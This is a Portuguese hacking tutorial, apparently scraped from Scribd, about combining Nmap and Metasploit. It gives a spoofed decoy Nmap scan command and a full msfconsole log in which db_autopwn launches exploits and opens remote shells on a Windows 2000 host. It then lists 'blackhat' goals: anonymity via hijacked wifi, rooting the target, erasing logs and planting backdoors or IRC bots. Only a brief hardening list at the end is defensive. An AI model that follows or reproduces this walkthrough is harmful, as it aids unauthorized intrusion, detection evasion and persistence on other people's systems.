100% acharam este documento útil (1 voto)
142 visualizações4 páginas

Nmap+Metasploit Combo Letal PDF

O documento descreve um ataque de hacking passo-a-passo usando ferramentas como Nmap e Metasploit contra um alvo. Ele explica como obter informações sobre o alvo com Nmap, importar os resultados para o Metasploit e tentar diferentes exploits para obter acesso remoto.

Enviado por

toofast
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd
100% acharam este documento útil (1 voto)
142 visualizações4 páginas

Nmap+Metasploit Combo Letal PDF

O documento descreve um ataque de hacking passo-a-passo usando ferramentas como Nmap e Metasploit contra um alvo. Ele explica como obter informações sobre o alvo com Nmap, importar os resultados para o Metasploit e tentar diferentes exploits para obter acesso remoto.

Enviado por

toofast
Direitos autorais
© All Rights Reserved
Levamos muito a sério os direitos de conteúdo. Se você suspeita que este conteúdo é seu, reivindique-o aqui.
Formatos disponíveis
Baixe no formato PDF, TXT ou leia on-line no Scribd

Vou passarar uma canja ai de um ataque muito

comum que seria um ataque Ignorante que com algumas implementaes pode
ser Letal e inteligente.
Bem arrumando armas para tal feito
Preparando para ver o alvo
Nmap vamos usar para pegar informaes das portas do alvo e tambm dos banners dos
servios rodando, Quem sabe um FingerPrint,em outras palavras vai ser nossa viso.
Pessoal do Windows Baixe o Nmap em [Link] caso use Linux procure o package
para
instalar dependendo da sua distro pode ser usado apt,yum,pacman,installpkg,[Link]
do BSD e MacOS use [Link] foi usado para retratar ataques de BlackHats
em filmes at veja [Link] com papo vamos continuar

Preparando a Arma
Metasploit vamos usar para explorar a falha achada e executar o nosso payload assim
obtemos nossa Shell,Metasploit seria um framework feito na linguagem Ruby muito usado
pelo pessoal do meio do hacking com intuito de fazer pentest,O problema que muitos
Black Hats tem seus metasploits com bugs 0days feito por eles mesmo ou por negcios de
venda de outras shells [Link] Metasploit voc dispe de um banco de exploits e de
payloads para ser testados injetados etc. Preciso falar mais nada ta ai nossa M16,
kkkkkk
baixe o tarball no site oficial [Link]
para quem usa windows procure a verso para o mesmo no site oficial tambm
Iniciando
Antes que voc leia outros tutoriais ai destas ferramentas venho declarar que no
s mirar e atirar no autmatico,tem que ser inteligente usar a cabea,pois
um ataque de Script Kid rdiculo sem falar que os IDs como Snort apito bem
em ataques sem noo.
No seja uma criana com uma arma use o artigo com prudncia
continuando
Usando o Nmap
bem at para ver o alvo podemos ser localizados e eventualmente achados pelo alvo ento
devemos ser mais sutil com Nmap possvel,Lembre-se voc no sabe o que tem no
servidor,no sabe se tem uma intranet etc, ento um footprint levantamento de dados
antes de usar o nmap seria uma boa pedida,Mas indo direto com nmap vamos usar uma
tcnica chamada Spoofing para mascarar nosso IP assim forjano um falso atacante no
alvo
vou dar um exemplo:
# nmap -sF -P0 -O -e eth1 -S [Link] [Link]

usamos o server da microsoft como mascara assim o SysAdmin da IBM vai notar que a
microsoft esta atacando ele com packets Fin(-sF) para obter fingerprint, isso seria
Spoofing! agora que voc tem um meio de purlar os [Link] um mar de informaes e
mtodos de ataques cabe a voc leitor navegar nele navegadores que trabalham
at com scripts Lua em comjunto com nmap

Usando Metasploit e partindo para a porrada


Tem muitos livros falando ai do nosso metasploit por ser um framework poderoso como ja
falei,ja mandei uma Dica quente no Nmap que seria spoofing no metasploit voc pode usar
ele em conjunto com TOR para ajudar no anonimato,Vo deixa para voc aprender a
arrombar portas em silencio sozinho,eu tenho meu mtodo mais de graa no vou
falar,Continuando vou dar um exemplo de uso do combo letal Nmap+Metasploit porem bem
ignorante sem Spoofing nem nada soh usando parametro -sS. bem ignorante ou seja
ataque ala moda do lobo ja partindo pra Porrada.
Cdigo:
bt ~ # nmap -sS [Link] -oX [Link]
Starting Nmap 4.85BETA10 ( [Link] ) at 2009-07-03 12:04 GMT
Interesting ports on [Link]:
Not shown: 990 closed ports
PORT
STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1433/tcp open ms-sql-s
3372/tcp open msdtc
MAC Address: 00:0C:29:CC:CF:46 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds
[End Result]-----------------------------------------------------------------------------------Now we got [Link] for import to Metasploit framework...
[Import Nmap result to Metasploit]-------------------------------------------------------------bt framework3 # msfconsole
_
_
__
||
||
(_) |
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
||
|_|
=[ msf v3.3-dev

+ -- --=[ 288 exploits - 124 payloads


+ -- --=[ 17 encoders - 6 nops
=[ 56 aux
msf > load db_sqlite3
[*] Successfully loaded plugin: db_sqlite3
msf > db_create /tmp/[Link]
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /tmp/[Link]
msf > db_import_nmap_xml /root/[Link]
msf > db_hosts
[*] Time: Fri Jul 03 14:01:56 +0000 2009 Host: [Link] Status: alive OS:
msf > db_autopwn -p -e
[*] (3/116): Launching exploit/unix/webapp/tikiwiki_jhot_exec against [Link]:80...
[*] (8/116): Launching exploit/unix/webapp/awstats_configdir_exec against
[Link]:80...
[*] (9/116): Launching exploit/windows/http/bea_weblogic_transfer_encoding against
[Link]:80...
[*] Started bind handler
[*] Started bind handler
[*] (12/116): Launching exploit/unix/webapp/awstats_migrate_exec against
[Link]:80...
[*] (13/116): Launching exploit/windows/dcerpc/ms03_026_dcom against
[Link]:135...
[*] Started bind handler
[*] Started bind handler
[*] Job limit reached, waiting on modules to finish...
[*] The server returned: 404 Object Not Found
[*] This server may not be vulnerable
[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e0020af6e7c57:0.0@ncacn_ip_tcp:[Link][135] ...
[*] The server returned: 404 Object Not Found
[*] This server may not be vulnerable
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[Link][135]
...
[*] Sending exploit ...
[*] The DCERPC service did not reply to our request
[*] Command shell session 1 opened ([Link]:52929 -> [Link]:10529)
sessions -l
Active sessions
===============
Id
-1
2
3
4
5
6

Description Tunnel
----------- -----Command shell [Link]:52929
Command shell [Link]:50775
Command shell [Link]:40985
Command shell [Link]:51652
Command shell [Link]:38373
Command shell [Link]:56722

->
->
->
->
->
->

msf >sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

[Link]:10529
[Link]:17887
[Link]:37295
[Link]:37095
[Link]:17130
[Link]:20693

C:\WINNT\system32>ipconfig
ipconfig
Windows 2000 IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : [Link]
Subnet Mask . . . . . . . . . . . : [Link]
Default Gateway . . . . . . . . . : [Link]
C:\WINNT\system32> bingo xD
explicando usamos Nmap para pegar informaes do Host depois adicionar uma sada XML passamos o
XML para o metasploit usando o Banco com SQLite assim o metasploit vai tentando HAckiar o host apartir
de algumas informaes do Nmap,e depois tenta rodar exploit por exploit se algum for injetado com
sucesso te retorna com payload.
Lindo n! Porem o ataque ignorante em um servidor com *BSD ou Linux ataque iria rodar e os
IDs iriam logar ou at mesmo ativar um honey-pot para te enganar ento estude Para voc
chegar em um tipo de ataque stealth.
Ento definimos umas metas para um ataque bem sucedido de um blackhat.
*garanta seu Anonimato seja por proxy,hack wifi forjando rede de alguem,ponte|laranja etc
*Footprint inteligente Whois,traceroute,usar hping2 para tentar pegar banners de servios etc
*FIngerprint com Nmap
*Exploramos o alvo usando determinado exploit
*se obter sucesso no ataque defina o que deve ser feito como exemplo RooTar o sistema
usando exploit local depois queimar os logs,upar um BC,ircbot etc
Tendo tudo isso em mente podemos nos defender com algumas medidas
*deixar o sistema sempre STABLE se for servidor pois UNSTABLE sempre tem Bugs e meios de explorao
*ter um firewall bem configurado seja iptables, Packet filter etc
*Ter menos servios possveis rodando nas portas tenha s o necessario por exemplo
servidor de Web deixe s apache ou outro servio de web no mximo um FTP
servidor de e-mail deixe s o postfix ou outro servio semelhante no invente muito
evite deixar todos os servios num servidor s como SSH,ldap,samba,apache,ssl,kerberus,
cups,postfix,ftp
Referencias
[Link]
[Link]
[Link]
[Link]

Vou passarar uma canja ai de um ataque muito 
comum que seria um ataque Ignorante que com algumas implementações pode 
ser Le
usamos o server da microsoft como mascara assim o SysAdmin da IBM vai notar que a 
microsoft esta atacando ele com packets
+ -- --=[ 288 exploits - 124 payloads 
 
 
+ -- --=[ 17 encoders - 6 nops 
 
       =[ 56 aux 
  
 
msf > load db_sqlite3
C:WINNTsystem32>ipconfig 
 
ipconfig 
  
 
Windows 2000 IP Configuration 
  
 
Ethernet adapter Local Area Connection:

Você também pode gostar